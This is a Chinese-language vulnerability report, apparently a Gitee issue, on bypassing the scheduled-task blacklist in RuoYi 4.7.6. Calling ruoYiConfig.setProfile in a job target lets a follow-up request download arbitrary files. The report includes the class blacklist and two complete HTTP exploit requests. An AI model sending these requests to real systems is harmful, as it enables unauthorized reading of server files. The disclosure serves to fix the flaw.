定时任务违规字符绕过可导致任意文件下载[BUG]

看到 `4.7.6` 提交了定时任务违规的字符commit(https://gitee.com/y_project/RuoYi/commit/df1c283335d6b104dd8d7e7f955710c7fa6f92b8)  增加了 `com.ruoyi.common.config`黑名单，但我在调试代码的时候找到了一个绕过。

**漏洞原理** 
黑白名单过滤代码
![输入图片说明](https://foruda.gitee.com/images/1672990572040695896/6dff3cd6_1561086.png "3290143b301a41f29d05c84ae09c2c91.png")

黑名单如下

```
public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml",         "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" };

```

![输入图片说明](https://foruda.gitee.com/images/1672990625866704052/a9e42527_1561086.png "a6d2c6330dbd4278bc038567d60100b9.png")

这里有一个 bean 转换的操作，然后在判断包名是否在白名单类，默认白名单是 `public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };`

这样使用的 bean 可以绕过黑名单的限制，然后符合白名单的bean。

使用 `ruoYiConfig.setProfile('e://xxx/xxxxx.log')` 即可绕过黑白名单，导致任意文件下载。

**exp**

提交任务
```
POST /monitor/job/add HTTP/1.1
Host: 172.16.0.118:48080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://172.16.0.118:48080
Connection: close
Referer: http://172.16.0.118:48080/monitor/job/add
Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://想要下载的文件地址')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
```
执行之后

任意文件下载

```
GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1
Host: 172.16.0.124:48080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://172.16.0.124:48080
Connection: close
Referer: http://172.16.0.124:48080/monitor/job
Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60

```
![输入图片说明](https://foruda.gitee.com/images/1672990740356269122/7a1744a5_1561086.png "719f25d0ef6e4cf4be696551badf13ec.png")

**修复建议**

进行黑名单过滤的时候需要对bean转换对象也进行判断

**报告人**  
superx

GVP 若依/RuoYi

内容风险标识

评论 (1)

GVP若依/RuoYi

内容风险标识